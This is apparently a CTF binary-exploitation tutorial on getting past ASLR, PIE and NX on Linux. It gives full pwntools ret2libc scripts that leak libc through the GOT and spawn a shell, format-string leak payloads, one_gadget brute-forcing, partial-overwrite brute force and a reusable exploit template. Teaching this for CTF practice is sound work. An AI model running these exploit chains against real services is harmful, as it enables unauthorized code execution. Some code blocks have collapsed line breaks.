Introduction
You find a buffer overflow. You know the offset. You pack a beautiful payload. You hit enter and get Segmentation fault. Every. Single. Time. Welcome to ASLR and PIE - the two mitigations that turn a trivial overflow into a multi-step exploit.
ASLR (Address Space Layout Randomization) randomizes where the stack, heap, and shared libraries land in memory at every run. PIE (Position-Independent Executable) extends this to the binary itself. Together they mean you cannot hardcode any address - the address of system(), the address of /bin/sh, even the address of the win() function you found in Ghidra - all change every execution.
This guide teaches you exactly how to break through both of them. You will learn to read checksec output, leak runtime addresses, build ret2libc ROP chains, use one_gadget, and handle the 64-bit stack alignment trap that silently kills otherwise correct exploits. Every technique is demonstrated with real pwntools code, not pseudocode.
This guide assumes you already understand basic stack buffer overflows. If you need that foundation first, read the Buffer Overflow guide before continuing here.
When: Binary has printf(user_input) - leak libc or PIE address
When: Binary calls puts/printf - use GOT entry to leak libc base
When: NX enabled, ASLR present - call system('/bin/sh') via ROP
When: PIE enabled, 32-bit or predictable last byte - brute force bottom 12 bits
When: libc base known - single gadget spawns shell, no ROP chain needed
When: The binary prints an address - compute base from known offset
What is ASLR?
ASLR is a kernel-level defense that randomizes the load addresses of memory regions each time a program runs. Before ASLR, every run of the same binary loaded libc at the same address, so an attacker could hardcode system()'s address into a payload. With ASLR, libc loads at a different base address on each execution, making hardcoded addresses useless.
What gets randomized
ASLR randomizes the starting addresses of three memory regions:
# Memory map of a running process (simplified)[stack] 0x7fff???????? 0000 <- randomized each run[heap] 0x55?????????? <- randomized each runlibc.so.6 0x7f?????????? <- randomized each runld-linux.so 0x7f?????????? <- randomized each run# Note: the binary's own code (text segment) is NOT randomized# by ASLR alone - that requires PIE (see next section)
Checking ASLR on the system
The kernel exposes ASLR settings through /proc/sys/kernel/randomize_va_space:
cat /proc/sys/kernel/randomize_va_space# 0 = ASLR disabled (no randomization)# 1 = partial (stack, VDSO randomized; heap and mmap at fixed offset)# 2 = full ASLR (default on modern Linux - stack, heap, libs, mmap all random)# Temporarily disable ASLR for debugging (your own machine only):echo 0 | sudo tee /proc/sys/kernel/randomize_va_space# Or disable just for one process with setarch:setarch $(uname -m) -R ./binary
How random is it really?
On a 64-bit Linux system, ASLR randomizes approximately 28 bits of the stack and library base addresses, and about 12-28 bits of the heap. This is enough to make blind brute-force impractical. However, the randomization is applied in units of pages (4096 bytes), so the lowest 12 bits of any address are always zero and never randomized. This matters for the partial overwrite technique described later.
What is PIE?
PIE stands for Position-Independent Executable. A PIE binary is compiled so that it can run at any load address, not just the fixed address it was linked at. When both ASLR and PIE are active, the binary's own code segment gets a random base address, just like shared libraries.
Without PIE, the binary's text segment always loads at a fixed address (typically 0x400000 on x86-64). With PIE enabled, it loads somewhere random like 0x55a3f1b42000. The win() function that Ghidra shows at offset 0x1234 is now at 0x55a3f1b42000 + 0x1234 = 0x55a3f1b43234, which you cannot know without a leak.
PIE vs. ASLR: what is the difference?
# Without PIE (ASLR on, PIE off):Binary text: 0x400000 (fixed - you can read this from objdump)Binary data: 0x601000 (fixed)libc: 0x7f???????? (random - need a leak)# With PIE (ASLR on, PIE on):Binary text: 0x5??????????0 (random - need a leak)Binary data: 0x5??????????0 (random)libc: 0x7f???????? (random - need a separate or combined leak)
How PIE binary addresses work
A PIE binary is essentially a shared library for its own code. Ghidra and objdump show addresses relative to the binary's load base (usually starting at 0x0000 in the disassembly). At runtime, the kernel chooses a random base (aligned to a 4096-byte page), and every address in the binary is that base plus the offset you see in the disassembler.
# In Ghidra/objdump you see:0x00001234 <win>: push rbp# At runtime (PIE enabled):binary_base = 0x555555554000 # chosen by kernel, different each runwin_at_runtime = binary_base + 0x1234 = 0x555555555234# Once you have a single leak from the binary's text segment:# e.g., you leaked 0x555555555678 which is at offset 0x1678 in the binarybinary_base = leaked_addr - 0x1678win_addr = binary_base + 0x1234
Identifying PIE from checksec
Run checksec --file=./binary and look for PIE enabled or PIE disabled. When disabled, addresses you find in objdump are the actual runtime addresses. When enabled, they are only offsets from an unknown base.
NX / DEP: non-executable stack
NX (No-eXecute) - also called DEP (Data Execution Prevention) on Windows - marks the stack and heap as non-executable memory. When NX is enabled, the CPU will refuse to execute code that lives in these regions, raising a fault instead.
This kills the classic shellcode-injection attack where you wrote execveshellcode into a stack buffer and jumped to it. With NX, jumping to the stack just crashes the process.
Why NX leads to ret2libc
NX prevents injecting new code, but it does not prevent reusing code that already exists in executable memory. The libc shared library, which is always mapped as executable, contains system() and a string /bin/sh. You do not need to inject shellcode - you can chain together existing executable code fragments (gadgets) to call system("/bin/sh"). This is the heart of both ret2libc and the broader ROP (Return-Oriented Programming) technique.
# NX enabled - shellcode injection fails:payload = b'A' * 44 + shellcode_addr # CRASH: stack is not executable# NX enabled - ret2libc works because system() lives in executable libc:payload = b'A' * 44 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)# ^^^ Every address here points into executable memory - NX does not block this
NX disabled. The standard approach with NX enabled is ret2libc via a ROP chain.Reading checksec output
checksec is the first tool you run on every new CTF binary. It reports which security mitigations are compiled in, which tells you exactly which attack paths are available.
Install and run
# Install (comes with pwntools, or standalone)pip install pwntoolssudo apt install checksec# Run on a binarychecksec --file=./vuln# Or directly from pwntools in your scriptfrom pwn import *elf = ELF('./vuln') # prints checksec output automatically
Example: PIE-enabled binary
Here is real checksec output for a PIE-enabled binary with NX and full RELRO:
$ checksec --file=./pie_challengeArch: amd64-64-littleRELRO: Full RELROStack: No canary foundNX: NX enabledPIE: PIE enabled
What each field means for your exploit
| Field | Value | Impact on exploit |
|---|---|---|
| RELRO | Full | GOT is read-only - cannot overwrite GOT entries for arbitrary write |
| RELRO | Partial | GOT is writable - overwriting GOT entries is a valid technique |
| Stack | Canary found | Must leak or brute-force the canary before overwriting return address |
| Stack | No canary found | Overflow the return address directly with no canary obstacle |
| NX | NX enabled | Stack is not executable - must use ret2libc or ROP instead of shellcode |
| NX | NX disabled | Stack is executable - shellcode injection works |
| PIE | PIE enabled | Binary loads at random base - need a leak from the binary's text segment |
| PIE | PIE disabled | Binary always loads at fixed address (e.g., 0x400000) - no leak needed |
Practical decision flow from checksec
PIE disabled, NX disabled -> ret2win or shellcode injectionPIE disabled, NX enabled -> ret2libc without needing a PIE leak(binary addresses still hardcoded)PIE enabled, NX disabled -> leak PIE base, then jump to shellcode on stackPIE enabled, NX enabled -> leak PIE base AND libc base, then ret2libc(most common CTF scenario)Canary found -> add a canary leak step before any of the above
Memory leak techniques
A memory leak is any mechanism that reveals a runtime address to you. Once you have one runtime address from a region, you can compute every other address in that region because the offsets between symbols are fixed.
1. Format string leaks
If the binary passes user input directly to printf, you can use format specifiers to read stack values as pointers. The stack almost always contains return addresses from previous calls - these point into the binary's text segment or into libc, giving you both a PIE leak and a libc leak at the same time.
# Send a chain of %p to dump stack pointerspython3 -c "print('%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')" | ./binary# Output: 0x1.(nil).0x7f3a1b2c3d4e.0x55a3f1b43234.0x1.0x3...# ^^^ libc addr ^^^ PIE addr# Target a specific stack offset with positional argument:python3 -c "print('%6$p')" | ./binary # prints the 6th pointer-sized value",# In pwntools, automate by sending then parsing:p.sendline(b'%p.' * 20)leaks = p.recvline().decode().split('.')# Look for addresses in the 0x55... range (PIE) or 0x7f... range (libc)
For a complete walkthrough of format string vulnerabilities, see the Format String guide.
2. puts/printf libc leak via GOT
If you can call puts() or printf()with an argument you control, you can pass it the address of a GOT entry. The GOT (Global Offset Table) stores the resolved runtime address of each libc function the binary calls. Printing a GOT entry leaks that function's runtime address in libc, from which you can compute the libc base.
# The GOT entry for puts() stores the runtime address of puts in libc.# If we can call puts(got['puts']), the program will print those 8 bytes.from pwn import *elf = ELF('./binary')libc = ELF('./libc.so.6') # same libc as remote - see pwntools sectionrop = ROP(elf)# Step 1: leak puts() address by calling puts(got['puts'])# For x86-64: first argument goes in rdi, so we need a pop rdi ; ret gadgetpop_rdi = rop.rdi.addressoffset = 44 # bytes to reach return address (find this with cyclic)# First payload: leak, then return to main to get another overflowpayload = b'A' * offsetpayload += p64(pop_rdi)payload += p64(elf.got['puts']) # argument: address of puts GOT entrypayload += p64(elf.plt['puts']) # call puts() - prints the GOT entrypayload += p64(elf.symbols['main']) # loop back to main for round 2p.sendlineafter(b'Input: ', payload)# Parse the leakleaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))libc_base = leaked_puts - libc.symbols['puts']log.success(f'libc base: {hex(libc_base)}')
3. Binary-provided leak (gift leak)
Many picoCTF challenges helpfully print an address for you. The PIE TIME challenge literally prints the address of a function. This is a gift - parse it and compute your base immediately.
# Binary prints something like: 'Here is your gift: 0x55a3f1b43234'p.recvuntil(b'0x')leaked_addr = int(p.recvline().strip(), 16)# If you know the leaked address is the 'main' function:binary_base = leaked_addr - elf.symbols['main']# Now rebase the ELF object so all symbols are correctelf.address = binary_basewin_addr = elf.symbols['win'] # automatically rebased
4. GOT dereferencing
Even without a format string vulnerability, if you can control a pointer that gets passed to puts() or write(), passing a GOT address leaks the libc runtime address of any function the binary has already called.
# Identify GOT entries for functions the binary calls:objdump -d ./binary | grep -A2 '@plt'# or in pwntools:print(elf.got) # {'puts': 0x601018, 'printf': 0x601020, ...}# After leaking:leaked_puts = <parse from output>libc_base = leaked_puts - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
0x7f. A PIE binary address typically starts with 0x55 or 0x56. If your parsed leak looks wrong, you may be off by a null byte - try ljust(8, b'\x00') when unpacking with u64().ret2libc: calling system('/bin/sh')
ret2libc is the go-to exploit when NX is enabled and you have (or can obtain) a libc address leak. Instead of injecting shellcode, you build a ROP chain that callssystem("/bin/sh") using code that already exists in the executable libc library.
What you need
1. The runtime address of system() <- derived from libc base + symbol offset2. The runtime address of '/bin/sh' <- a string that exists inside libc3. A 'pop rdi ; ret' gadget <- to put '/bin/sh' in rdi (first argument)4. (64-bit only) A 'ret' gadget <- for stack alignment before system()# In pwntools, once you know libc_base:system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
Complete two-stage exploit
Stage 1 leaks the libc base. Stage 2 uses it to call system("/bin/sh"). The binary returns to main() at the end of stage 1 so you get a second overflow to deliver the final payload.
from pwn import *# Setupelf = context.binary = ELF('./vuln')libc = ELF('./libc.so.6') # match with remote libc (see pwntools section)rop = ROP(elf)p = process('./vuln') # or remote('host', port)OFFSET = 40 # bytes of padding before return address# ---- STAGE 1: leak libc base ----------------------------------------pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]ret_addr = rop.find_gadget(['ret'])[0]stage1 = b'A' * OFFSETstage1 += p64(pop_rdi)stage1 += p64(elf.got['puts']) # arg: puts GOT entry (a libc ptr)stage1 += p64(elf.plt['puts']) # call puts() -> prints 8 bytes of libcstage1 += p64(elf.symbols['main']) # return to main for stage 2p.sendlineafter(b'Input: ', stage1)# Parse the 8-byte leak (puts null-terminates, so strip and pad)line = p.recvline().strip()leaked_puts = u64(line.ljust(8, b'\x00'))libc_base = leaked_puts - libc.symbols['puts']log.success(f'libc base @ {hex(libc_base)}')# Rebase libc symbolslibc.address = libc_basesystem_addr = libc.symbols['system']bin_sh_addr = next(libc.search(b'/bin/sh'))log.success(f'system @ {hex(system_addr)}')log.success(f'/bin/sh @ {hex(bin_sh_addr)}')# ---- STAGE 2: call system('/bin/sh') --------------------------------stage2 = b'A' * OFFSETstage2 += p64(ret_addr) # alignment gadget (64-bit requirement)stage2 += p64(pop_rdi)stage2 += p64(bin_sh_addr) # rdi = '/bin/sh'stage2 += p64(system_addr) # call system()p.sendlineafter(b'Input: ', stage2)p.interactive() # you have a shell
The 64-bit stack alignment issue
This is the most common reason a correct ret2libc exploit gets a Segmentation fault even when the offset and addresses are right.
On x86-64, the System V ABI requires the stack pointer (rsp) to be aligned to a 16-byte boundary at the point of a call instruction. Some libc functions (particularly system() on newer glibc, and any function using SSE/AVX instructions) will crash with a misaligned stack.
# Why this happens:# Each ret instruction pops 8 bytes off the stack.# If the stack was 16-byte aligned before your overflow, adding an odd# number of 8-byte values in your ROP chain misaligns it by 8 bytes.# The fix: add an extra 'ret' gadget in your chain.# 'ret' just pops and discards the next 8 bytes, re-aligning the stack.# WRONG (crashes inside system):stage2 = b'A' * OFFSETstage2 += p64(pop_rdi)stage2 += p64(bin_sh_addr)stage2 += p64(system_addr)# RIGHT (aligned):ret_gadget = rop.find_gadget(['ret'])[0]stage2 = b'A' * OFFSETstage2 += p64(ret_gadget) # extra ret for alignmentstage2 += p64(pop_rdi)stage2 += p64(bin_sh_addr)stage2 += p64(system_addr)# Rule of thumb: if you segfault INSIDE system() (not at the ret),# add or remove one 'ret' gadget to fix alignment.
set disable-randomization on), break at the start of system(), and check the value of rsp. If rsp % 16 != 0, you are misaligned. Add one ret gadget to your chain.For the foundational buffer overflow knowledge that ret2libc builds on, see the Buffer Overflow guide.
pwntools workflow for ASLR/PIE
pwntools is the standard Python exploitation library for CTF. These are the specific patterns you need for ASLR/PIE bypasses, beyond the basics.
ELF and rebasing
from pwn import *# Load binary and libcelf = context.binary = ELF('./vuln') # sets context.arch automaticallylibc = ELF('./libc.so.6')# After you receive a leak and compute bases:elf.address = binary_base # rebase - all elf.symbols now give runtime addrslibc.address = libc_base # rebase - all libc.symbols now give runtime addrs# pwntools ROP object uses these bases automatically after rebasing:rop = ROP([elf, libc])rop.find_gadget(['pop rdi', 'ret'])
Finding the overflow offset with cyclic
# Step 1: generate a cyclic pattern and send it to the binarypython3 -c "from pwn import *; print(cyclic(200).decode())" | ./vuln# The binary crashes. Note the value in RIP/RSP.# Step 2: find the offsetpython3 -c "from pwn import *; print(cyclic_find(0x6161616c))" # -> 44# Or let GDB print it for you (run under GDB, then):# (gdb) info registers rsp# rsp 0x7fff... -> read the 4 bytes at rsp# (gdb) x/wx $rsp# -> 0x6161616c (cyclic pattern)# python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
Finding the right libc version
The libc offset from base to system() varies between versions. Getting the wrong libc means wrong offsets and a crash. Two tools help:
# Option 1: libc database - provide leaked function addresses# Visit https://libc.blukat.me or use the CLI tool:pip install libc-databaselibc-database find puts 0x7f...abc0 # finds matching libc version# Option 2: pwntools libc database (searches local cache)from pwnlib.libcdb import search_by_symbol_offsets# Option 3: download the remote libc# Many challenges provide the libc.so.6 as a download attachment.# If not, and you can read /proc/self/maps, grep for the libc path# and exfiltrate it, or use 'ldd ./binary' to see which libc is linked.# Verify your libc match by checking multiple function offsets:print(hex(libc.symbols['puts'])) # should match what you leakedprint(hex(libc.symbols['printf'])) # cross-check a second function
pwntools struct packing
p64(addr) # pack as 8-byte little-endian (x86-64)p32(addr) # pack as 4-byte little-endian (x86)u64(data) # unpack 8 bytes to integeru32(data) # unpack 4 bytes to integer# flat() for building payloads inline:payload = flat(b'A' * 44,ret_gadget, # alignmentpop_rdi, # gadget addressbin_sh_addr, # '/bin/sh' stringsystem_addr, # system())
Process interaction patterns
p = process('./vuln') # localp = remote('host', 1337) # remote# Sendingp.send(payload) # raw sendp.sendline(payload) # send + b'\n'p.sendlineafter(b'> ', payload) # wait for prompt, then send# Receivingp.recvline() # receive until newlinep.recvuntil(b'0x') # receive until marker, discard markerp.recv(8) # receive exactly 8 bytesline = p.recvline().strip() # strip trailing whitespace/newlines# Parsing leaksleaked = int(p.recvline().strip(), 16) # if printed as hexleaked = u64(p.recv(8)) # if printed as raw bytesleaked = u64(p.recvline().strip().ljust(8, b'\x00')) # if truncated at null# Hand off to interactive terminal (after shell)p.interactive()
PIE partial overwrite
When PIE is enabled but you cannot trigger a clean memory leak, there is another option: the partial overwrite. Because ASLR randomizes in units of pages (4096 bytes), the lowest 12 bits of any address are always zero and are never randomized. On a 64-bit system, the lowest 3 nibbles (hex digits) of an address are fixed.
How it works on 32-bit / 16-bit overwrite scenarios
# PIE binary, function at offset 0x1234 within the page# At runtime, the binary might load at:# 0x55555554000, 0x56789ab4000, 0x5600abc4000, ...# But the last 12 bits (3 hex digits) of the function address# are ALWAYS 0x234 (from the 0x1234 offset into the page)# If you overwrite only the last 2 bytes of the return address# (by overflowing just 2 bytes beyond the buffer), you can# target the low 16 bits of the address:# Example: return address on stack is 0x55a3f1b4319a (current instruction)# You want to jump to 0x55a3f1b43234 (win function at offset 0x1234)# Last 2 bytes differ: 0x19a -> 0x234# But the top nibble of the 2nd byte is still random (4-bit brute force):# Brute force the 4 random bits (16 attempts on average)for guess in range(16):two_byte_overwrite = (guess << 12) | 0x234payload = b'A' * offset + p16(two_byte_overwrite)# send and check if you got a shell
When partial overwrite applies
Applies when:- You can overflow the return address by 1 or 2 bytes only- OR you are on a 32-bit system (only 8-12 bits of ASLR randomness)- OR a NULL byte constraint limits your overwrite lengthDoes NOT apply when:- You need to jump to a function in a different page offset- The overflow is full-length and you can write the full address(in which case, just do a proper leak first)Success rate:- 1-byte overwrite: deterministic (no brute force needed)- 2-byte overwrite: 1/16 chance (4 random bits) - fast to brute force- 3-byte overwrite: 1/4096 chance - usually too slow for CTF
one_gadget: single-gadget shell
Once you have the libc base address, the simplest way to get a shell is often a "magic gadget" - a single address in libc that, when jumped to, executes execve("/bin/sh", NULL, NULL) without any additional setup. The one_gadget tool finds these for you.
Install and run
# Install (requires Ruby)gem install one_gadget# Find magic gadgets in a libcone_gadget ./libc.so.6# Example output:0x4f2c5 execve('/bin/sh', rsp+0x70, environ)constraints:rsp & 0xf == 0rcx == NULL0x4f322 execve('/bin/sh', rsp+0x70, environ)constraints:[rsp+0x70] == NULL || rsp+0x70 is a valid argv0x10a38c execve('/bin/sh', rsp+0x70, environ)constraints:[rsp+0x70] == NULL || rsp+0x70 is a valid argv
Using one_gadget in your exploit
from pwn import *libc = ELF('./libc.so.6')# ... (leak libc base, set libc.address = libc_base)# One_gadget offset found by running 'one_gadget ./libc.so.6'ONE_GADGET_OFFSET = 0x4f2c5one_gadget = libc.address + ONE_GADGET_OFFSET# Your ROP chain is now just a single address - no pop rdi, no /bin/shpayload = b'A' * OFFSET + p64(one_gadget)p.sendlineafter(b'Input: ', payload)p.interactive()
What if the constraints are not met?
Each one_gadget comes with constraints (registers or stack values that must be NULL or point to valid memory). If the first gadget in the list does not work, try the others. If none work, fall back to the full ret2libc ROP chain.
# Try each gadget offset from one_gadget output:GADGETS = [0x4f2c5, 0x4f322, 0x10a38c]for offset in GADGETS:one_gadget = libc_base + offsetpayload = b'A' * OFFSET + p64(one_gadget)p = remote('host', 1337)p.sendlineafter(b'Input: ', payload)try:p.sendline(b'id')result = p.recvline(timeout=1)if b'uid=' in result:log.success(f'one_gadget 0x{offset:x} worked!')p.interactive()breakexcept:log.warning(f'Gadget 0x{offset:x} failed, trying next...')p.close()
ROP gadgets: what they are and how to find them
A gadget is a short sequence of instructions that already exists in the binary or a loaded library, ending with a ret instruction. By chaining gadgets together - each one returning into the next - you can build arbitrary computations out of code that is already executable, bypassing NX completely.
This technique is called ROP (Return-Oriented Programming). The most common gadgets you need for ret2libc are:
pop rdi ; ret <- puts the next value from the stack into rdi (1st argument)pop rsi ; ret <- 2nd argumentpop rdx ; ret <- 3rd argumentret <- does nothing except pop rsp (used for alignment)leave ; ret <- adjusts the stack frame (used in advanced ROP)
Finding gadgets with ROPgadget
# Installpip install ROPgadget# Find all gadgets in a binaryROPgadget --binary ./vuln# Search for a specific gadgetROPgadget --binary ./vuln --re 'pop rdi'# Output:# 0x00000000004011c3 : pop rdi ; ret# Search in libc tooROPgadget --binary ./libc.so.6 --re 'pop rdi'# Find a plain 'ret' gadget for alignmentROPgadget --binary ./vuln --re '^ret$'
Finding gadgets with pwntools ROP
from pwn import *elf = ELF('./vuln')rop = ROP(elf)# pwntools searches the binary for youpop_rdi = rop.rdi.address # finds 'pop rdi ; ret'pop_rsi = rop.rsi.address # finds 'pop rsi ; ret'ret = rop.ret.address # finds a plain 'ret'# Or search manually:pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]# Use with libc too:libc_rop = ROP(libc)pop_rdi_libc = libc_rop.rdi.address
How a ROP chain executes
# Stack layout after overflowing the return address:# (stack grows downward, lower addresses at top)RSP -> [ pop rdi ; ret ] <- CPU jumps here (ret from vulnerable function)[ /bin/sh address ] <- 'pop rdi' pops this into rdi, then 'ret' fires[ ret gadget ] <- alignment gadget, immediately returns again[ system address ] <- 'ret' from alignment gadget jumps here(system is now called with rdi = /bin/sh - shell spawns)
For a deeper look at GDB techniques for building and debugging ROP chains, see the GDB CTF Guide.
GDB workflow: find offset, confirm overflow
GDB is essential for developing ASLR/PIE exploits locally before attacking the remote service. Here is the exact sequence of GDB commands you need.
Install GDB with pwndbg (highly recommended)
# pwndbg adds CTF-specific commands: cyclic, vmmap, checksec, telescopegit clone https://github.com/pwndbg/pwndbgcd pwndbg && ./setup.sh
Step 1: disable ASLR for local testing
# Inside GDB:(gdb) set disable-randomization on # pwndbg does this by default# Or system-wide (your own machine only):echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Step 2: find the overflow offset
# Generate a cyclic pattern(gdb) run $(python3 -c "from pwn import *; print(cyclic(200).decode())")# After crash, check where RSP points(gdb) x/wx $rsp# 0x7fffffffdc98: 0x6161616c# Back in shell, find the offset:python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"# -> 44# Alternatively with pwndbg:(gdb) run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")(gdb) cyclic -l $rsp # pwndbg command - prints offset directly
Step 3: find function addresses
# In GDB, find win function address:(gdb) info functions win(gdb) p &win(gdb) disas win# Find where libc is loaded:(gdb) info proc mappings# or with pwndbg:(gdb) vmmap# Shows all loaded regions with addresses - note the libc base# Find system() and /bin/sh in libc:(gdb) p system(gdb) find &system, +9999999, '/bin/sh'
Step 4: confirm your ROP chain
# Set a breakpoint on the return of the vulnerable function(gdb) break *vuln+123 # address of the 'ret' instruction# Send your payload and step through(gdb) run < payload.bin(gdb) ni # step one instruction (ret)(gdb) info registers rip # check RIP jumped to your gadget(gdb) ni # step: pop rdi(gdb) info registers rdi # check rdi = /bin/sh address(gdb) ni # step: ret(gdb) ni # step into system()# Check stack alignment before system():(gdb) p $rsp % 16 # must be 0 for proper alignment
Step 5: confirm with PIE enabled
# With PIE enabled, addresses change each run even under GDB# unless you disable ASLR. Once ASLR is off, PIE loads at the same base.# After disabling randomization in GDB:(gdb) run(gdb) info proc mappings# Binary always loads at same base - addresses are now reproducible# To find the binary base:(gdb) info files# or(gdb) p &_start
ret of the vulnerable function, your offset is wrong or the address you wrote is invalid. If it crashes inside system(), it is almost always a stack alignment problem - add a ret gadget.picoCTF challenges
These picoCTF challenges directly apply the techniques in this guide. They are ordered from simplest leak to full ret2libc.
PIE TIME (2025)
PIE is enabled. The binary helpfully prints the address of main() at startup - a gift leak. Parse it, compute the binary base, add the offset to the win function, and return there. Perfect first PIE challenge.
PIE TIME 2 (2025)
Builds on PIE TIME. No gift leak this time - you must construct the leak yourself using the overflow. Requires understanding how to turn a controlled read or format string into a useful address.
format string 3 (2024)
Format string vulnerability with PIE and ASLR enabled. Use a format string read to leak a libc address from the stack, compute the libc base, then overwrite a GOT entry or return address to call system().
high frequency troubles (2024)
A more involved binary exploitation challenge requiring ASLR/PIE bypass combined with building a functional ROP chain to reach a shell. Apply the full two-stage leak and exploit pattern from this guide.
Quick reference
Use this as your checklist when you pick up a new binary exploitation challenge.
Scenario decision table
| Scenario | Technique | Key tool |
|---|---|---|
| Binary prints an address at startup | Parse and compute binary_base | elf.address = leaked - offset |
| Format string vulnerability (printf(input)) | %p chain to leak stack addresses | %p.%p.%p or %N$p |
| Overflow + PIE + NX, can call puts() | puts(got['puts']) to leak libc | pop rdi + GOT entry + PLT puts |
| libc base known, want minimal ROP | one_gadget - single address shell | one_gadget ./libc.so.6 |
| libc base known, one_gadget fails | ret2libc: pop rdi + /bin/sh + system | ROPgadget + pwntools ROP |
| Segfault inside system() but ROP looks right | Stack alignment - add a ret gadget | rop.ret.address |
| PIE, no leak, can only overwrite 2 bytes | Partial overwrite + 1/16 brute force | p16(guess << 12 | offset) |
| Unknown libc version | Leak 2+ function addrs, query libc DB | libc.blukat.me or libc-database |
| Don't know overflow offset | Send cyclic pattern, check RSP in GDB | cyclic(200) + cyclic_find() |
Essential tools
pwntools
Process interaction, struct packing, ELF loading, ROP chain building, libc search. The core exploitation library.
pip install pwntools
checksec
Reports all binary mitigations. Run this first on every challenge binary.
checksec --file=./binary
ROPgadget
Finds all ROP gadgets in a binary or library. Search for specific instruction sequences with --re.
pip install ROPgadgetROPgadget --binary ./libc.so.6 --re 'pop rdi'
one_gadget
Finds magic gadgets in libc that call execve('/bin/sh') in a single jump. Requires Ruby.
gem install one_gadgetone_gadget ./libc.so.6
pwndbg
GDB plugin for CTF. Adds vmmap, telescope, cyclic, checksec directly inside GDB.
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
libc-database
Identify the remote libc version from leaked function addresses. Essential when the challenge doesn't provide the libc binary.
# Visit https://libc.blukat.me# or: pip install libc-database
Quick exploit template
from pwn import *elf = context.binary = ELF('./vuln')libc = ELF('./libc.so.6')rop = ROP(elf)p = process('./vuln') # switch to remote() for submissionOFFSET = ??? # find with cyclic# -- STAGE 1: leak --pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]ret = rop.find_gadget(['ret'])[0]stage1 = flat(b'A' * OFFSET,pop_rdi, elf.got['puts'],elf.plt['puts'],elf.symbols['main'])p.sendlineafter(b'Input: ', stage1)leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))libc.address = leaked_puts - libc.symbols['puts']log.success(f'libc @ {hex(libc.address)}')# -- STAGE 2: shell --system = libc.symbols['system']bin_sh = next(libc.search(b'/bin/sh'))stage2 = flat(b'A' * OFFSET,ret, # alignmentpop_rdi, bin_sh,system)p.sendlineafter(b'Input: ', stage2)p.interactive()
All related picoCTF writeups